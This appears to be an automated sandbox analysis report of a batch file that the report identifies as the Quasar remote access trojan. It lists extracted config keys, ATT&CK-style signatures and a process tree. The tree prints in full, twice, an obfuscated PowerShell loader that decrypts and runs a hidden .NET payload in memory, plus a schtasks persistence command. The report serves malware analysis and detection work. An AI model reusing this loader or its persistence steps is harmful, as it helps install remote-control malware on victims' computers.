Analysis

  • max time kernel
    148s
  • max time network
    140s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/07/2026, 10:56

General

  • Target
    output.bat
  • Size 552KB
  • Sample260708-m11alsev5x
  • SHA256 52673ce0852b419c3cef66af46cef46e9beae85db86fa29c6ca54293f2677f56
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • quasar

Attributes
  • encryption_key

    DD1F83EF3A28BD6F21280FBD6DB688FCB449180E

  • key_salt

    5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382

  • reconnect_delay

    3000

Signatures

  • Family: Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Costura .NET executable packer 1 IoCs

    Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 38 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\output.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1848
    • C:\Windows\system32\conhost.exe
      conhost.exe --headless powershell.exe -ep bypass -window hidden -command $pRVgPnxT = [System.Convert]::FromBase64String(($env:Q2ZkjrY.Split('[')|ForEach-Object{(Get-Item ('Env:'+$_)).Value})-join'');$xWKzke = [Type]::GetType('System.Security.Cryptography.TripleDESCryptoServiceProvider')::new();$xWKzke.Key = @(204,129,31,71,76,95,124,246,156,136,200,195,239,209,196,39);$xWKzke.Mode = 'ECB';$xWKzke.Padding = 'PKCS'+'7';$s7Q2 = $xWKzke.('Create'+'Decryp'+'tor')().('Trans'+'formF'+'inal'+'Block')($pRVgPnxT,0,$pRVgPnxT.Length);$TRmXLF = New-Object('System'+'.IO'+'.Mem'+'orySt'+'ream') -ArgumentList (,$s7Q2);$PUvPUPr = New-Object('Syste'+'m.IO.'+'Memo'+'ryS'+'tream');$NUiNxawi = New-Object('System'+'.IO.C'+'ompr'+'essio'+'n.GZ'+'ipStre'+'am') -ArgumentList ($TRmXLF,[IO.Compression.CompressionMode]('Decompress'));$NUiNxawi.CopyTo($PUvPUPr);$squaV = $PUvPUPr.ToArray();$sc4b8X = [Type]::GetType('System.Security.Cryptography.SHA256');$yZyVnvT = $sc4b8X::Create().ComputeHash($squaV);$n1N4 = @(137,197,253,130,52,161,43,50,242,66,105,248,187,83,146,161,12,209,90,198,231,106,121,222,181,10,207,149,83,96,43,108);if (-Not (Compare-Object [byte[]]$yZyVnvT [byte[]]$n1N4)) {$ZZrNNz = (Get-CimInstance ('Win3'+'2_Proc'+'ess') -Filter ProcessId=$pid).('Comman'+'dLi'+'ne');foreach ($NZUn8 in [AppDomain]::CurrentDomain.GetAssemblies()){if ($NZUn8.('Glo'+'balAs'+'sembly'+'Cache') -And $NZUn8.Location.Contains('msco'+'rli'+'b.d'+'ll')){foreach ($ojVWzi9 in $NZUn8.('GetTy'+'pe')('Syste'+'m.Refl'+'ectio'+'n.Ass'+'embly').('Get'+'Meth'+'ods')('Publ'+'ic,Sta'+'tic')){if ($ojVWzi9.('ToSt'+'ring')().Length -eq 39) {$ojVWzi9.('INvO'+'kE')($null, (,$squaV)).('EntryPoint').('INvO'+'kE')($null, (,[string[]](,$ZZrNNz)))}}}}}
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3256
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -ep bypass -window hidden -command $pRVgPnxT = [System.Convert]::FromBase64String(($env:Q2ZkjrY.Split('[')|ForEach-Object{(Get-Item ('Env:'+$_)).Value})-join'');$xWKzke = [Type]::GetType('System.Security.Cryptography.TripleDESCryptoServiceProvider')::new();$xWKzke.Key = @(204,129,31,71,76,95,124,246,156,136,200,195,239,209,196,39);$xWKzke.Mode = 'ECB';$xWKzke.Padding = 'PKCS'+'7';$s7Q2 = $xWKzke.('Create'+'Decryp'+'tor')().('Trans'+'formF'+'inal'+'Block')($pRVgPnxT,0,$pRVgPnxT.Length);$TRmXLF = New-Object('System'+'.IO'+'.Mem'+'orySt'+'ream') -ArgumentList (,$s7Q2);$PUvPUPr = New-Object('Syste'+'m.IO.'+'Memo'+'ryS'+'tream');$NUiNxawi = New-Object('System'+'.IO.C'+'ompr'+'essio'+'n.GZ'+'ipStre'+'am') -ArgumentList ($TRmXLF,[IO.Compression.CompressionMode]('Decompress'));$NUiNxawi.CopyTo($PUvPUPr);$squaV = $PUvPUPr.ToArray();$sc4b8X = [Type]::GetType('System.Security.Cryptography.SHA256');$yZyVnvT = $sc4b8X::Create().ComputeHash($squaV);$n1N4 = @(137,197,253,130,52,161,43,50,242,66,105,248,187,83,146,161,12,209,90,198,231,106,121,222,181,10,207,149,83,96,43,108);if (-Not (Compare-Object [byte[]]$yZyVnvT [byte[]]$n1N4)) {$ZZrNNz = (Get-CimInstance ('Win3'+'2_Proc'+'ess') -Filter ProcessId=$pid).('Comman'+'dLi'+'ne');foreach ($NZUn8 in [AppDomain]::CurrentDomain.GetAssemblies()){if ($NZUn8.('Glo'+'balAs'+'sembly'+'Cache') -And $NZUn8.Location.Contains('msco'+'rli'+'b.d'+'ll')){foreach ($ojVWzi9 in $NZUn8.('GetTy'+'pe')('Syste'+'m.Refl'+'ectio'+'n.Ass'+'embly').('Get'+'Meth'+'ods')('Publ'+'ic,Sta'+'tic')){if ($ojVWzi9.('ToSt'+'ring')().Length -eq 39) {$ojVWzi9.('INvO'+'kE')($null, (,$squaV)).('EntryPoint').('INvO'+'kE')($null, (,[string[]](,$ZZrNNz)))}}}}}
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3400
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c schtasks /create /xml T1oMf.xml /tn b7b4a0db-974a-4999-ac15-c8ac8c16bcdf
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:352
          • C:\Windows\system32\schtasks.exe
            schtasks /create /xml T1oMf.xml /tn b7b4a0db-974a-4999-ac15-c8ac8c16bcdf
            5⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2944
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:4296
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:4796
  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:2000
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:2004

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        prep_Activatable Class_Hermes_perf.cache

        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
        • Size 599B
        • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
        • MD5 SHA1 SHA512 TLSH

        T1oMf.xml

        • Path C:\Users\Admin\AppData\Local\Temp\T1oMf.xml
        • Size 1KB
        • SHA256 d6493a0bd4aacd5b0af9d194ad26b573baccb48c09bb8aaa97237c278b88ae3c
        • MD5 SHA1 SHA512 TLSH

        memory/2000-61-0x000001C103BC0000-0x000001C103BE0000-memory.dmp

        memory/2000-76-0x000001C103860000-0x000001C103880000-memory.dmp

        memory/2000-63-0x000001C113DA0000-0x000001C113EA0000-memory.dmp

        memory/2000-93-0x000001C1140D0000-0x000001C1140F0000-memory.dmp

        memory/2000-46-0x000001C100100000-0x000001C100200000-memory.dmp

        memory/2004-217-0x00000299E47A0000-0x00000299E4BD4000-memory.dmp

        memory/3400-13-0x00007FFFAA0B0000-0x00007FFFAAA54000-memory.dmp

        memory/3400-6-0x00007FFFAA0B0000-0x00007FFFAAA54000-memory.dmp

        memory/3400-12-0x00007FFFAA0B0000-0x00007FFFAAA54000-memory.dmp

        memory/3400-0-0x00007FFFAA23F000-0x00007FFFAA240000-memory.dmp

        memory/3400-14-0x00007FFFAA0B0000-0x00007FFFAAA54000-memory.dmp

        memory/3400-15-0x00007FFFAA0B0000-0x00007FFFAAA54000-memory.dmp

        memory/3400-16-0x00007FFFAA0B0000-0x00007FFFAAA54000-memory.dmp

        memory/3400-17-0x00007FFFAA0B0000-0x00007FFFAAA54000-memory.dmp

        memory/3400-18-0x00007FFFAA0B0000-0x00007FFFAAA54000-memory.dmp

        memory/3400-21-0x00000210F9900000-0x00000210F991E000-memory.dmp

        memory/3400-22-0x00000210FC9D0000-0x00000210FCA82000-memory.dmp

        memory/3400-23-0x00000210F9920000-0x00000210F992A000-memory.dmp

        memory/3400-25-0x00000210FC410000-0x00000210FC434000-memory.dmp

        memory/3400-24-0x00000210FC410000-0x00000210FC43A000-memory.dmp

        memory/3400-26-0x00007FFFAA0B0000-0x00007FFFAAA54000-memory.dmp

        memory/3400-27-0x00000210FCBE0000-0x00000210FCCE2000-memory.dmp

        memory/3400-10-0x00007FFFAA0B0000-0x00007FFFAAA54000-memory.dmp

        memory/3400-9-0x00007FFFAA0B0000-0x00007FFFAAA54000-memory.dmp

        memory/3400-8-0x00007FFFAA0B0000-0x00007FFFAAA54000-memory.dmp

        memory/3400-11-0x00007FFFAA0B0000-0x00007FFFAAA54000-memory.dmp

        memory/3400-7-0x00007FFFAA0B0000-0x00007FFFAAA54000-memory.dmp

        memory/3400-5-0x00007FFFAA0B0000-0x00007FFFAAA54000-memory.dmp

        memory/3400-204-0x00007FFFAA0B0000-0x00007FFFAAA54000-memory.dmp

        memory/3400-205-0x00007FFFAA0B0000-0x00007FFFAAA54000-memory.dmp

        memory/3400-208-0x00007FFFAA0B0000-0x00007FFFAAA54000-memory.dmp

        memory/3400-4-0x00000210FC440000-0x00000210FC462000-memory.dmp

        memory/3400-213-0x00007FFFAA0B0000-0x00007FFFAAA54000-memory.dmp

        memory/3400-214-0x00007FFFAA0B0000-0x00007FFFAAA54000-memory.dmp

        memory/3400-215-0x00000210FCCE0000-0x00000210FCD84000-memory.dmp

        memory/3400-216-0x00000210FC410000-0x00000210FC42E000-memory.dmp

        memory/3400-3-0x00007FFFAA0B0000-0x00007FFFAAA54000-memory.dmp

        memory/3400-218-0x00000210FC430000-0x00000210FC442000-memory.dmp

        memory/3400-219-0x00000210FD780000-0x00000210FD7D0000-memory.dmp

        memory/3400-220-0x00000210FE610000-0x00000210FE6C2000-memory.dmp

        memory/3400-221-0x00000210FEB70000-0x00000210FED32000-memory.dmp

        memory/3400-222-0x00000210FD730000-0x00000210FD77C000-memory.dmp

        memory/3400-223-0x00000210FD7D0000-0x00000210FD7E2000-memory.dmp

        memory/3400-224-0x00000210FE550000-0x00000210FE58C000-memory.dmp

        memory/3400-225-0x00007FFFAA0B0000-0x00007FFFAAA54000-memory.dmp